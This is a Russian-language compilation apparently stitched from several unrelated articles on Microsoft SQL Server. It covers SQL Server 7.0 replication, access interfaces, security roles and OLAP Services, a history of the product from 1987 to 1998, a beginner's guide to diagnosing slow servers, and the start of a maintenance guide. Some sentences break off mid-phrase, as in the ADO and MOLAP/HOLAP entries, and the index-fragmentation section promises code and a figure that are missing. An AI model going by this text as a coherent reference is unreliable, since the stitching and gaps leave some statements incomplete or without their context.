    В SQL Server 7.0 включены следующие виды тиражирования: 1) слиянием (merge replication), 2) мгновенных снимков данных (snapshot replication), 3) транзакций (transactional replication), 4) транзакций с обновлением на подписчике (updating subscriber), 5) через DTC. Здесь они перечислены в порядке возрастания транзакционной целостности и, соответственно, уменьшения степени автономности хостов. DTC (Distributed Transaction Coordinator), очевидно, известен читателям, которые могли с ним познакомиться в составе SQL Server 6.5 или Microsoft Transaction Server. Он работает по протоколу двухфазной фиксации OLE 2PC и обеспечивает максимальную целостность данных при условии постоянной доступности членов транзакции. Передача мгновенных снимков данных и транзакций являются разновидностями тиражирования по принципу «издатель-подписчик», широко использовавшемуся в предыдущих версиях SQL Server. В версии 7.0 мы имеем дело с двумя существенно новыми видами тиражирования, которые рассмотрим чуть более подробно.

    5.1 Обновление на подписчике

    Этот вид тиражирования можно рассматривать как модификацию транзакционного тиражирования по принципу «издатель-подписчик», при которой подписчик, как следует из названия, получает возможность обновлять оттиражированные на него данные, при этом обновления, сделанные на подписчике, отражаются на издателе. Неверно называть этот вид «multimaster update», так как несмотря на обновляющие права подписчика, у данных все равно остается один владелец — издатель. Подписчик производит обновление с помощью 2PC-транзакции, членами которой являются он и издатель. Издатель, в свою очередь, распространяет эти изменения остальным подписчикам. Этот процесс удобно представлять себе как 2PC-струйку (trickle) с подписчика на издатель и последующий каскад (cascade) на остальных подписчиков. Так как 2PC-транзакция происходит практически мгновенно, а публикация изменений через дистрибутора допускает временную задержку, то подписчик может попытаться изменить данные, которые были изменены другим подписчиком или непосредственно на издателе, но эти изменения до данного подписчика еще не дошли. В этом случае издатель как владелец данных обнаруживает конфликтную ситуацию и откатывает транзакцию.Обнаружение конфликтов производится с помощью поля timestamp. Если в таблице его не существовало, оно будет автоматически добавлено в момент определения публикации.

    5.2 Тиражирование слиянием

    Тиражирование слиянием отличается максимальной автономностью издателя и подписчиков. Каждый из них имеет право вносить изменения в публикуемые данные независимо от других. Время от времени, измененные данные рассылаются всем остальным участникам публикации. При этом не имеет значения транзакционная история изменений, интерес представляет лишь суммарный накопленный эффект. Данные идентифицируются уникально при помощи поля типа ROWGUID. При получении изменений каждый сайт сравнивает значение generation (версии данных) между прибывшими и отосланными значениями. Разрешение конфликтов производится в соответствии со временем изменений и приоритетами узлов, которые разрешено изменять. Для разрешения конфликтов в случае сложных алгоритмов согласования имеется возможность запрограммировать свой собственный метод при помощи предоставленных ActiveX-интерфейсов.

    5.3 Тиражирование в гетерогенных средах

    Подписчиками SQL Server 7.0 могут выступать ранние версии Microsoft SQL Server, Oracle, IBM DB2 (MVS, AS/400) и другие средства управления данными, доступные через ODBC или OLE DB. В состав SQL Server 7.0 входят ActiveX-элементы управления SQL Distribution Control и SQL Merge Control, которые позволяют управлять тиражированием непосредственно из приложений на Visual Basic, Visual C++, Visual J++ и других средств разработки. Публикации и статьи можно создавать непосредственно в том же приложении при помощи SQL-DMO, либо подготовить заранее в SQL Server Enterprise Manager. Примеры использования упомянутых элементов управления устанавливаются вместе с SQL Server 7.0.

    Гетерогенные источники могут участвовать в тиражировании не только в роли подписчиков, но и как издатели. Вообще, любое приложение, отвечающее интерфейсу Replication Distributor Interface может выступать в качестве издателя для SQL Server 7.0. Этот СОМ-интерфейс, использующий модель OLE DB-соединения, описан в документации на SQL Server. Пользовательское приложение-издатель, написанное на C/С++ и реализующее этот интерфейс, может выступать в роли шлюза между внешним источником и SQL Server 7.0.

    Поддерживается тиражирование через Интернет. ODBC-соединение с подписчиком при этом осуществляется по TCP/IP или Multiprotocol. Домашняя директория FTP должна быть установлена в рабочий каталог репликации. Допускаются анонимные подписчики.

    6. Программные интерфейсы доступа

    В SQL Server 7.0 «родным» интерфейсом доступа, т.е. тем, при помощи которого процессор запросов взаимодействует с механизмом хранения, является OLE DB. DB-Library поддерживается путем эмуляции через OLE DB. При разработке приложений, работающих с SQL Server 7.0 могут использоваться следующие основные методы.

    OLE DB — стратегический набор интерфейсов доступа к данным, описывающих основные функции по хранению, обработке и возвращению данных в соответствии с моделью СОМ. Рекомендуется для решения низкоуровневых задач и достижения максимальной производительности. OLE DB-провайдер SQL Server 7.0 напрямую взаимодействует с протоколом TDS.

    ADO (ActiveX Data Objects) — инкапсулирует основную функциональность OLE DB в виде довольно тонкой > ODBC — стандартный API (набор функций) доступа к реляционным данным. SQL Server 7.0 поставляется с новой версией собственного производительного 32-разрядного ODBC-драйвера. К разновидностям, инкапсулирующим ODBC, относятся RDO (Remote Data Objects) — надстройка для придания более дружественного интерфейса, и DAO (Data Access Objects) — еще более толстая надстройка, включающая даже собственный реляционный механизм (Jet).

    Embedded SQL for C — прекомпилятор, преобразующий SQL-подобные команды в тексте программы на С в соответствующие вызовы DB-Library.

    DB-Library — унаследованный API доступа к SQL Server из С и Visual Basic. В версии 7.0 поддерживается по соображениям совместимости с ранее созданными пользовательскими приложениями, но развиваться, по-видимому, уже не будет.

    Кроме этого, SQL Server 7.0 предоставляет дополнительные интерфейсы, которые в той или иной мере опираются на вышеперечисленные (в основном, OLE DB и ODBC) и которые можно рассматривать как своеобразные заготовки для решения задач более узкого назначения.

    SQL-DMO (Distributed Management Objects) — набор Automation-объектов, описывающих административную модель SQL Server 7.0. Идеальный инструмент для выполнения программным путем действий, которые вы обычно производите интерактивно в SQL Server Enterprise Manager.

    SQL-NS (NameSpace) — объектная модель для написания программ, обращающихся к компонентам интерфейса SQL Server Enterprise Manager. Может быть использована из Visual С++, Visual Basic и т.п.

    Элементы управления и интерфейсы репликации. Мы упоминали их в главе, посвященной распределенным операциям.

    Программные интерфейсы cлужбы преобразования данных (DTS). DTS используется для очистки и унификации данных перед тем, как поместить их в хранилище, но может быть применена просто для преобразования при их перекачке из одного OLE DB-источника в другой.

    Объекты Microsoft Search и Microsoft Repository имеют достаточно самостоятельное значение, могут применяться в отрыве от SQL Server и потому здесь рассматриваться не будут.

    Напомним, что в состав Visual Studio входит отладчик для хранимых процедур SQL Server.

    7. Модель безопасности


    7.1 Пользовательские роли

    Архитектура безопасности SQL Server 7.0 гораздо лучше, чем в предыдущих версиях, интегрирована с моделью Windows NT и обеспечивает повышенную гибкость. Права в базе данных могут быть назначены непосредственно пользователям и группам Windows NT. Роли SQL Server могут включать не только пользователей и группы Windows NT, но и роли и пользователей SQL Server. Пользователь SQL Server может быть членом нескольких ролей. Это позволяет администратору баз данных управлять правами на объекты SQL Server как для групп Windows NT, так и для ролей SQL Server, а не на уровне индивидуальных учетных записей пользователей. Включены предустановленные роли на уровне базы данных и сервера, такие как dbcreator, db_owner, securityadmin и др. Это дает возможность гибче распоряжаться полномочиями и надежнее разграничивать права доступа, чем использование логина системного администратора.

    7.2 Прикладные роли

    В SQL Server 7.0 поддерживаются также прикладные роли, которые используются, например, когда доступ некоторого пользователя к данным необходимо ограничить рамками данного конкретного приложения. Другие способы доступа к серверу, включая, например, SQL Server Query Analyzer, будут для него невозможны. Прикладные роли не имеют членов. Они являются неактивными по умолчанию и активизируются приложением, устанавливающим соединение с сервером баз данных. В момент активизации соединение утрачивает какие-либо другие ассоциированные с ним права, и до момента закрытия будет иметь права, назначенные прикладной роли.

    7.3 Аутентификация и полномочия

    При попытке установить соединение с SQL Server сначала происходит аутентификация пользователя. Этот процесс может выполняться средствами Windows NT или SQL Server. Стандартного режима безопасности в смысле версии 6.5 больше не существует — остались только интегрированный и смешанный. К командам назначения и отзыва полномочий GRANT и REVOKE теперь добавилась еще одна — DENY. Она назначает негативные полномочия, явно указывая, что пользователь не имеет права выполнять указанные действия (эффект, эквивалентный двойному REVOKE при наличии гранта в версии 6.5). Команда REVOKE удаляет ранее установленные полномочия, независимо от их разрешительного или запрещающего характера.

    8. Работа с хранилищами данных

    Известны три модели представления хранилищ:


    ROLAP (relational OLAP) — первичные данные и агрегаты хранятся в реляционной СУБД. Такой подход обеспечивает сохранение инвестиций в реляционные технологии, но оставляет желать лучшего по производительности.

    MOLAP (mult > HOLAP (hybr >Microsoft OLAP Services for SQL Server (известные также под кодовым названием проекта Plato) поддерживают все три из вышеназванных способов построения хранилищ.

    В OLAP Services реализован алгоритм определения оптимального множества агрегатов, от которого могут быть вычислены другие агрегаты. Этот алгортим включен в состав Storage Design wizard, который оптимизирует соотношение между производительностью системы и дисковым пространством, занятым под агрегаты, в зависимости от того, сколькими мегабайтами Вы готовы пожертвовать, либо какой процент от максимально возможной производительности Вас устраивает. Существуют варианты более тонкой настройки множества агрегатов в соответствии с реальной нагрузкой на систему. Например, Usage-Based Optimization wizard строит структуру агрегатов так, чтобы минимизировать время ответа на наиболее часто поступающие запросы. В сочетании с эффективными алгоритмами сжатия, а также тем фактом, что Plato, по определению, не хранит пустые ячейки куба, оптимизация структуры множества предвычисленных агрегатов сводит практически на нет влияние синдрома «взрывного роста данных», характерного для большинства OLAP-технологий.

    Для наполнения кубов могут браться данные из любого OLE DB-источника. Очистка и унификация перед погружением может производиться с помощью служб преобразования данных (DTS). Элементарной единицей службы преобразования выступает пакет. Пакет может состоять из одного или нескольких элементарных шагов. В качестве шага (так же, как и для SQL Server Agent) может выступать SQL-скрипт, исполняемый модуль, ActiveX-скрипт и т.д. Логика выполнения шагов также может ветвиться в зависимости от результатов предыдущих шагов. Пакеты хранятся на SQL Server или в Microsoft Repository. После пополнения новыми данными куб может быть переобработан полностью или произведен дифференциальный пересчет, при котором обрабатываются только последние добавленные данные.

    Допускаются вычисляемые меры и члены измерений. В качестве формул могут выступать MDX-запросы (MDX — многомерное расширение к SQL), математические формулы, пользовательские функции (UDF) и т.д. Каждый член измерения может иметь дополнительные свойства. Например, артикул товара может иметь соответствующие значения размера, цвета, фактуры и т.д. Общее измерение, произведенное по одному из таких свойств, носит название виртуального измерения.

    Куб можно разбить на несколько отдельных физических частей. Каждая такая часть, именуемая разбиением (partition) может иметь любой из перечисленных режимов организации, храниться на самостоятельном физическом носителе и иметь свою структуру агрегатов. С помощью разбиений куб может быть распределен по нескольким OLAP-серверам, что значительно ускоряет обработку запросов к объемным хранилищам высокой размерности. Наоборот, разбиения можно сливать друг с другом. Например, поквартальные разбиения могут быть объединены в один годовой куб. Виртуальные кубы есть аналог view union над кубами. Если в одном кубе мы храним информацию по проведенным маркетинговым мероприятиям, а в другом — данные о продажах и хотим оценить влияние первых на вторые, создание виртуального куба позволит это сделать, не забирая дополнительного дискового пространства.

    Как и сервера баз данных, OLAP Services использует серверный кэш, где хранятся недавно или наиболее часто используемые пользовательские запросы, метаданные и данные. Кроме этого, клиентские приложения имеют возможность организовать кэш на стороне клиента. Эта идея представляется вполне рациональной, в особенности если учесть, что, как правило, клиентские рабочие станции в системах поддержки принятия решений — довольно мощные по производительности и ресурсам, а большая часть запросов в приложениях повторяется. Компонент PivotTable(r) Service позволяет использовать находящиеся в клиентском кэше данные для ответов на запросы, которые в этом случае не будут пересланы на сервер. Например, поступает запрос на общую сумму продаж за год, а в клиентском кэше уже хранятся аналогичные данные по четырем кварталам. PivotTable Service обладает многими из возможностей OLAP-сервера, что дает возможность эффективно распределить нагрузку между клиентом и сервером и минимизировать сетевой траффик.

    Поддерживается возможность записи в куб (write-back) и запросов типа «что-если». Инициированные пользователями изменения записываются в отдельную таблицу, ассоциированную с кубом, и применяются всякий раз при чтении данных, так что пользователь видит их так, как если бы они в самом деле изменились. Администратор имеет право аннулировать изменения.

    Как и в SQL Server 7.0 безопасность в OLAP Services построена на использовании ролей, в которые могут быть добавлены реальные группы и пользователи Windows NT.

    Администрирование OLAP Services осуществляется через OLAP Manager, который, как и SQL Server Enterprise Manager, представляет собой snap-in в ММС.

    Средства программирования и интерфейсы доступа проще всего пояснить на примере аналогий с SQL Server 7.0. Аналогом Transact-SQL выступает, как мы уже заметили, MDX. OLE DB 2.0 включает в себя набор многомерных расширений OLE DB for OLAP. Соответственно, то же, но в виде дуальных интерфейсов, называется ADO MD. Аналогом SQL-DMO служат DSO (Decision Support Objects). Наконец, расширить список встроенных функций можно, создавая и регистрируя пользовательские библиотеки функций с помощью VC++, VB и любых других Automation-языков программирования.

    Краткая история

    Материал данного раздела опирается на книгу «Inside Microsoft SQL Server 6.5», автор Ron Soukup, вышедшую в издательстве Microsoft Press в 1997 г. (см. The Evolution of Microsoft SQL Server: 1989 to 1996).

    27 марта 1987 г. президент Microsoft Джон Ширли и сооснователь и президент Sybase Марк Хоффман подписывают договор, по которому Microsoft получает эксклюзивные права на продажи продукта под названием DataServer производства Sybase для OS/2 и других разрабатываемых Microsoft операционных систем. Sybase получает возможность расширить сферы своего влияния с UNIX и VMS на настольные платформы.

    В 1988 г. Microsoft заключает соглашение с Ashton-Tate, производителем dBase, в то время бесспорным лидером на рынке СУБД для персональных компьютеров, о совместной маркетинговой поддержке портации Sybase DataServer на OS/2. Ashton-Tate обязуется разработать dBase IV Server Edition — клиентскую часть будущего сервера баз данных.

    Конец 1988 г. Выходит бета-версия продукта Ashton-Tate/Microsoft SQL Server. Она поставляется под названием NDK (Network Development Kit).

    Май 1989 г. Выход Ashton-Tate/Microsoft SQL Server 1.0. Успех носит довольно сдержанный по двум причинам — пользователи не спешат мигрировать с MS-DOS на OS/2 и единственным средством разработки остается С. Клиентская часть от Ashton-Tate так и не увидела свет. Соглашение между Microsoft и Ashton-Tate прекращает свою работу.

    Лето 1990 г. Выход Microsoft SQL Server 1.1. Помимо мелких усовершенствований, сделан исключительно удачный ход — в качестве клиентской платформы поддерживается Microsoft Windows 3.0, выпущенная в мае того же года. Значение этого шага было настолько велико, что вначале его практически никто не оценил. Microsoft продолжает рассматривать SQL Server всего лишь как один из способов продвижения LAN Manager и OS/2.

    Начало 1991 г. Microsoft подписывает дополнительное соглашение с Sybase, по которому получает read-only права на исходные коды SQL Server.

    Тогда же. Резко возрастает количество независимых производителей программного обеспечения, пишущих под SQL Server 1.1, а следовательно, и предложение разнообразных приложений, утилит и инструментов для него же. Продажи начинают повышаться. Microsoft признает неудачной проделанную Sybase портацию DB-Library с UNIX на MS-DOS (после загрузки редиректора, драйвера сетевой карты и DB-Library пользователю остается 50 К памяти) и пишет практически с нуля свою версию, в 5 раз менее требовательную к памяти.

    Май 1991 г. Microsoft и IBM объявляют о прекращении совместной разработки OS/2.

    Середина 1991 г. Microsoft получает от Sybase разрешение непосредственно исправлять ошибки в коде SQL Server. Sybase оставляет за собой право одобрить или отвергнуть эти исправления, а также контроль общего направления развития кода.

    Тогда же. Выход Microsoft SQL Server 1.11. Рост продаж сменяется застоем. Продукт позиционируется для рабочих групп из 50 и менее пользователей, что, в принципе, устраивает конкурентов, но никоим образом не удовлетворяет Microsoft. Лучшей масштабируемости не удается достичь в силу внутренних архитектурных ограничений OS/2 1.0 (16-разрядность, отсутствие асинхронного ввода/вывода, . ). Принимается решение о разработке новой версии для 32-разрядной OS/2 2.0 производства IBM.

    Март 1992 г. Завершение совместных работ Microsoft и Sybase по переносу UNIX-версии SQL Server 4.2 на OS/2. Как результат — выход 16-разрядной версии SQL Server 4.2 для OS/2 1.3 (Tiger). Специалистами Microsoft дописаны клиентские библиотеки для MS-DOS, Windows и OS/2 и графический инструмент администрирования. В версию 4.2 включены возможности создания серверных хранимых процедур, онлайновый ленточный backup, улучшенная языковая поддержка, оператор UNION и т.д.

    Середина 1992 г. Выход OS/2 2.0 от IBM задерживается. Тем временем в Microsoft полным ходом идут работы над созданием собственной принципиально новой 32-разрядной операционной системы, первоначально, OS/2 3.0, которая на стадии разработки получает имя NT.

    Тогда же. В результате заключенного с Sybase соглашения, Microsoft обретает право переноса версии 4.2 на Windows NT. Sybase включает Windows NT в число операционных систем для System 10.

    Конец 1992 г. Принято решение о прекращении дальнейших разработок SQL Server под OS/2. Windows NT становится стратегической платформой для SQL Server.

    Июль 1993 г. Выпуск Microsoft Windows NT 3.1. Через 30 дней выходит первая 32-разрядная версия Microsoft SQL Server для Windows NT. Это была не просто портация OS/2-версии 4.2 на новую операционную систему. Ядро SQL Server в значительной степени переписано на Win32 API для повышения производительности.

    Сентябрь 1993 г. Большинство рекордных результатов по производительности принадлежат системам на UNIX и не превосходят 100 транзакций в секунду. Compaq публикует результаты официальных TPC-B тестов. На машине с двумя процессорами Pentium 66 Microsoft SQL Server показывает рекорд в 226 транзакций в секунду. Удельная стоимость за транзакцию в секунду составляет при этом 440 долл.- показатель, существенно ниже удельной стоимости производительности для систем на миникомпьютерах и мэйнфреймах.

    Конец 1993 г. Закончена миграция пользовательской базы с OS/2 на Windows NT. Sybase публикует анонс о разработке System 10 для OS/2. Обостряется конкуренция между Sybase и Microsoft, сегменты рынка которых по серверам баз данных все больше сближаются.

    12 апреля 1994 г. Microsoft и Sybase прекращают совместную работу над SQL Server. Microsoft получает право самостоятельно перерабатывать и развивать SQL Server.

    14 июня 1994 г. Microsoft объявляет о планах post-Sybase развития SQL Server (SQL95).

    Октябрь 1994 г. Выпуск первой бета-версии Microsoft SQL Server 6.0. Добавлены возможности тиражирования, скроллируемые курсоры, SQL Enterprise Manager (Starfighter) и др.

    14 июня 1995 г. Запуск в производство Microsoft SQL Server 6.0. Доля Microsoft на рынке серверов баз данных изменилась с 15 до 18%.

    Декабрь 1995 г. Выпуск первой бета-версии Microsoft SQL Server 6.5. Включены дополнительные утилиты администрирования (SQL Trace), публикации данных на Web-сервере (SQL Web Assistant), тиражирования ODBC-подписчикам, восстановления данных на определенный момент времени, поддержка сервера горячего резерва, MS DTC, хранимые процедуры OLE Automation, дополнения в Transact-SQL (insert . exec, cube / rollup) и др.

    Апрель 1996 г. Запуск Microsoft SQL Server 6.5 в производство.

    Декабрь 1996 г. Выход Microsoft Transaction Server 1.0 (Viper), сочетающего функциональность монитора транзакций и брокера объектных запросов.

    Май 1997г. Microsoft демонстрирует работу виртуальной банковской системы, «клиентами» которой выступает четверть населения земного шара. Входе эксперимента показан результат — миллиард транзакций в день. При построении системы использовались 20 серверов Microsoft SQL Server 6.5 и 5 серверов Microsoft Transaction Server.

    Июнь 1997 г. Выход первой бета-версии Microsoft SQL Server 7.0 (Sphinx).

    Октябрь 1997 г. Выход сервера очередей сообщений Microsoft Message Queue Server 1.0 (Falcon) и вскоре после этого — Microsoft Transaction Server 2.0 (Sherpa).

    Декабрь 1997 г. Выход Microsoft SQL Server 6.5 Enterprise Edition. Среди добавленной функциональности — поддержка двухузловых отказоустойчивых кластеров Microsoft Cluster Server (Wolfpack), в том числе в режиме active-active, 8 процессоров, 3GB адресного пространства, Microsoft English Query и т.д.

    Тогда же. Выход второй бета-версии Microsoft SQL Server 7.0.

    Июнь 1998 г. Выход третьей бета-версии Microsoft SQL Server 7.0.

    16 Ноября 1998 г. представлен Microsoft SQL Server 7.0.

    18 Ноября 1998 г. Microsoft SQL Server 7.0 признан лучшим продуктом, представленным на выставке COMDEX/Fall»98 (Best of Show), и лучшим в категории бизнесс-приложений (Best Productivity Software).

    Анализ работы MS SQL Server, для тех кто видит его впервые

    Недавно столкнулся с проблемой — занедужил SVN на ubuntu server. Сам я программирую под windows и с linux “на Вы”… Погуглил по ошибке — безрезультатно. Ошибка оказалась самая типовая (сервер неожиданно закрыл соединение) и ни о чем конкретном не говорящая. Следовательно, надо погружаться глубже и анализировать логи/настройки/права/и т.п., а с этим, как раз, я “на Вы”.

    В результате, конечно, разобрался и нашел всё что нужно, но время потрачено много. В очередной раз думая, как глобально (да-да, во всём мире или хотя бы на ⅙ части суши) уменьшить бесполезно потраченные часы — решил написать статью, которая поможет людям быстро сориентироваться в незнакомом программном обеспечении.

    Писать я буду не про линукс — проблему хоть и решил, но профессионалом вряд ли стал. Напишу про более знакомый мне MS SQL. Благо, уже приходилось много раз отвечать на вопросы и список типовых уже готов.

    Если вы админ в Сбере (или в Яндексе или ), вы можете сохранить статью в избранное. Да, пригодится! Когда к вам, в очередной раз, с одними и теми же вопросами придут новички — Вы дадите им ссылку на нее. Это сэкономит Ваше время.

    Если без шуток, эта СУБД часто используется в небольших компаниях. Часто совместно с 1С либо другим ПО. Отдельного БД-админа таким компаниям держать затратно — надо будет выкручиваться обычному ИТ-шнику. Для таких и пишу.

    Какие проблемы рассмотрим

    Если сервер вам сообщает “закончилось место на диске Е” — глубокий анализ не нужен. Не будем рассматривать ошибки, решение которых очевидно из текста сообщения. Также не будем рассматривать ошибки по которым гугл сразу выдает ссылку на msdn с решением.
    Рассмотрим проблемы по которым не очевидно что гуглить. Такие как, например, внезапное падение производительности или, например, отсутствие соединения. Рассмотрим основные инструменты для настройки. Рассмотрим средства анализа. Поищем где лежат логи и другая полезная информация. И в целом, попробую в одной статье собрать нужную информацию для быстрого старта.

    Начнем с лидера списка частых вопросов, настолько он опережает всех, что рассмотрим его отдельно. Вдобавок, об этом пишут во всех статьях про работу MS SQL — и я не буду нарушать традицию.


    Если у вас вдруг, ни с того ни с сего, стало работать медленно, а вы ничего не меняли (как поставили, так всё и работало, никто ничего не трогал) — в первую очередь, обновите статистику и перестройте индексы. Только удостоверившись, что это выполнено — имеет смысл копать глубже. Еще раз подчеркну — делать это нужно обязательно, вопрос только как часто.

    В интернете полно рецептов как это делать, приводятся примеры скриптов. Предположу, что все те методы для “профи” и новичкам непонятны. Что ж, опишу способ наипростейший: для его внедрения вам потребуется только владение мышью.

    • SSMS — приложение “Microsoft SQL Server Management Studio”, находится в “Пуске”. Устанавливается отдельной галочкой (Client management tools) с дистрибутива сервера. Начиная с 2020 версии, доступно бесплатно на сайте MS в виде отдельного приложения. Старшие версии студии нормально работают с младшими версиями сервера. Наоборот — тоже иногда работают (основные функции).
      docs.microsoft.com/en-us/sql/ssms/download-sql-server-management-studio-ssms “SSMS is free! It does not require a license to install and use.”
    • Profiler — приложение “SQL Server Profiler”, находится в “Пуске”, устанавливается вместе с SSMS.
    • Performance Monitor (Системный монитор) — оснастка панели управления. Позволяет мониторить счетчики производительности, журналировать и просматривать историю замеров.

    Обновление статистики с помощью “плана обслуживания”:

    • запускаем SSMS;
    • подключаемся к нужному серверу;
    • разворачиваем в Object Inspector дерево: Management \ Maintenance Plans (Планы обслуживания)
    • правой кнопкой на узле, выбираем “Maintenance Plan Wizard”
    • в визарде мышкой отмечаем нужные нам задачи:
      • rebuild index (перестроить индекс)
      • update statistics (обновить статистику)
    • отметить можно обе задачи сразу, либо сделать два плана обслуживания по одной задаче в каждом (смотрим “важные замечания” ниже);
    • далее, отмечаем галочками нужную нам БД (или несколько). Делаем это для каждой задачи (если выбрали две задачи — будет два диалога с выбором БД).
    • Next, Next, Finish

    После этих действий у вас создастся (а не выполнится) “план обслуживания”. Запуск можно выполнить вручную — правой кнопкой на нем, выбрать “Execute”. Либо настроить запуск через “SQL Agent”.

    • Обновление статистики — неблокирующая операция. Можно выполнять в рабочем режиме. Дополнительную нагрузку конечно создаст, но ведь у вас и так всё тормозит, будет чуть больше — незаметно.
    • Перестроение индекса — блокирующая операция. Запускать только в нерабочее время. Есть исключение — Enterprise редакция сервера допускает выполнение “онлайнового ребилда”. Эта опция включается галочкой в настройках задачи. Обратите внимание, галочка есть во всех редакциях, но работает только в Enterprise.
    • Конечно, эти задачи необходимо выполнять регулярно. Предлагаю простой способ определения, как часто это делать:
      • при первых проблемах выполняете план обслуживания;
      • если помогло — ждете пока не начнутся проблемы снова (как правило, до очередного закрытия месяца/расчета зп/ и т.п. массовых операций);
      • получившийся срок нормальной работы и будет вам ориентиром;
      • например, настройте выполнение плана обслуживания в два раза чаще.

    Сервер работает медленно — что делать?

    Используемые сервером ресурсы

    Как и любой другой программе, серверу нужны: время процессора, данные на диске, объемы оперативной памяти и пропускная способность сети.

    Оценить нехватку того либо иного ресурса в первом приближении можно с помощью Task Manager (Диспетчер задач), как бы по кэпски это не звучало.

    Посмотреть загрузку в диспетчере сможет даже школьник. Здесь нам надо просто убедиться, что если процессор загружен, то именно процессом sqlserver.exe.

    Если это ваш случай, то надо переходить к анализу активности пользователей, чтобы понять, что именно стало причиной загрузки (листаем ниже).

    Многие смотрят только загрузку процессора, но не надо забывать что СУБД — это хранилище данных. Объемы данных растут, производительность процессоров растет, а скорость HDD практически не меняется. С SSD ситуация получше, но терабайты на них хранить затратно.

    Получается так, что я чаще сталкиваюсь с ситуациями, когда узким местом становится именно дисковая система, а не ЦПУ.

    Для дисков нам важны следующие показатели:

    • средняя длина очереди (операций ввода-вывода ожидающих выполнения, штук);
    • скорость чтения-записи (в Мб/с).

    Серверная версия диспетчера задач, как правило (зависит от версии системы), показывает и то и другое. Если нет — запускаем оснастку панели управления “Performance Monitor” (Системный монитор). Нас интересуют счетчики:

    • Физический (логический) диск / Среднее время чтения (записи)
    • Физический (логический) диск / Средняя длина очереди диска
    • Физический (логический) диск / Скорость обмена с диском

    Развернуто — можно почитать мануалы производителя, например тут social.technet.microsoft.com/wiki/contents/articles/3214.monitoring-disk-usage.aspx. Вкратце:

    • Очередь желательно чтобы не превышала 1. Допустимы кратковременные всплески, если они быстро спадают. Всплески могут быть разными в зависимости от вашей системы. Для простого рэйда-зеркала из двух HDD — очередь больше 10-20 проблема. Для крутой библиотеки с супер кешированием я видел всплески до 600-800 которые мгновенно рассасывались, не приводя к задержкам.
    • Нормальная скорость обмена тоже зависит от типа дисковой системы. Обычный (настольный) HDD “качает” по 50-100 Мб/с. Хорошая дисковая библиотека по 500 Мб/с и более. Для мелких случайных операций скорость меньше. Примерно так и ориентируйтесь.
    • Эти параметры надо смотреть в комплексе. Если ваша библиотека качает 50Мб/с и при этом выстраивается очередь в 50 операций — явно что-то не так с железом. Если очередь выстраивается при прокачке близкой к максимальной — то скорее всего диски не виноваты — они просто больше не могут — надо искать способ уменьшить нагрузку.
    • Нагрузку надо смотреть раздельно по дискам (если их несколько) и сопоставлять с размещением файлов сервера. Диспетчер задач может показать наиболее активно используемые файлы. Это удобно использовать, чтобы убедиться, что нагрузка идет именно от СУБД.

    Чем могут быть вызваны проблемы с дисковой системой:

    • проблемы с железом
      • погорел кэш, резко упала производительность;
      • дисковая система используется чем-то еще;
    • Недостаток оперативной памяти. Свопинг. Ухудшилось кэширование, производительность упала (смотрим раздел про ОП ниже).
    • Увеличилась пользовательская нагрузка. Необходимо оценить работу пользователей (проблемный запрос / новый функционал / увеличение количества пользователей / увеличение объема данных / и т.п.).
    • Фрагментация данных БД (смотрим ребилд индексов выше), фрагментация файлов системы.
    • Дисковая система достигла своих максимальных возможностей.

    Если у вас последний вариант — не спешите выкидывать оборудование. Иногда из системы можно выжать чуть больше если подойти к проблеме с умом. Проверьте размещение файлов системы на соответствие рекомендуемым требованиям:

    • не смешивайте файлы ОС с файлами данных БД. Размещайте их на физически разных носителях чтобы система не конкурировала с СУБД за ввод-вывод.
    • БД состоит из файлов двух видов: данные (*.mdf, *.ndf) и логи (*.ldf). Файлы данных, как правило, больше используются на чтение. Логи — больше на запись (причем запись — последовательная). Из понимания этого факта, следует рекомендация размещать логи и данные на физически разных носителях, чтобы запись в лог не прерывала чтение данных (как правило, операция записи имеет приоритет выше чем у чтения).
    • MS SQL для обработки запросов может использовать “временные таблицы”. Они хранятся в системной базе tempdb. Если у вас высокая нагрузка на файлы этой БД — то можно попробовать вынести ее на физически отдельные носители.

    Резюмируя по размещению файлов, используйте принцип “разделяй и властвуй”. Оцените к каким файлам идут обращения и попробуйте их распределить на разные носители. Также, используйте особенности RAID систем. Например, RAID-5 читает быстрее чем пишет — что хорошо подходит для файлов данных.

    • анализируем использование ОП и сети.
    • смотрим детально работу пользователей используя SSMS, profiler и прямые запросы к системным представлениям.
    • план и статистика запросов (рассмотрим несколько способов получения). live query statistics.
    • waits (ожидания). текущая информация и статистика.
    • проблемы с подключением к серверу. процессы/порты/протоколы

    Рекомендации по обслуживанию и настройке серверов MSSQL Server

    Данная статья содержит в себе следующую информацию:

    1. Обновление экземпляраMSSQL Server.
    2. Плановые работы по обслуживанию индексов (реорганизация/перестроение)и обновлению статистики.
    3. Советы по тонкой настройке и оптимизации баз данныхMSSQLServer.(Установка, первичная настройка, шринк лога транзакций).
    4. Работа со счетчиками производительностиPerformanceCounter для выявления и устранения проблем, связанных с производительностью экземпляра сервера.

    1. Обновление экземпляра MSSQL Server

    Необходимо постоянно контролировать и обновлять экземпляр MSSQL Server для закрытия уязвимостей и обновления движка Database Engine. Для этого необходимо выполнить ряд действий.

    1. Уточнить установленную редакцию и версию экземпляра сервера, установленного у нас:


    2. Перейти на сайт https://technet.microsoft.com/ru-ru/sqlserver/ff803383.aspx и просмотреть доступные обновления для установленной версии экземпляра сервера. В большей степени нас интересуют:

    • Latest Service Pack;
    • Latest Cumulative Update.

    3. Если таковые доступны, то необходимо скачать и установить их. Процесс установки стандартный: требуется запустить exe-файл и установить обновления для выбранного экземпляра MSSQL Server.

    2. Плановые работы по обслуживанию индексов (реорганизация/перестроение) и обновлению статистики

    Для поддержания производительности Базы данных необходимо проводить плановую периодическую реорганизацию/перестроение индексов. В противном случае можно получить «performance degradation» (падение производительности) для базы в целом.

    Для начала необходимо проверить наличие и степень фрагментации индексов в используемой базе. Для этого требуется выполнить следующий код:

    Результат выполнения кода представлен на рисунке ниже:

    Где: table_name – имя таблицы, index_name – имя индекса, index_type_desc – тип индекса, avg-fragmentation_in_percent – степень фрагментации индекса, table_record_count – количество записей в таблице.

    В первую очередь следует обращать внимание на индексы, где степень фрагментации выше 15%. Для индексов степень фрагментаций которых от 15 до 30% необходимо выполнять реорганизацию, а для индексов, где степень фрагментации свыше 30% — выполнять перестроение. Индексы со степенью фрагментации от 0-15% являются нормальными. Также нужно учитывать, что даже после проведения процедур по реорганизации/перестроению индексов степень фрагментации некоторых индексов может также остаться выше нормы. В основном это бывает для индексов, расположенных в таблицах с небольшим количеством записей (до 1000 строк).

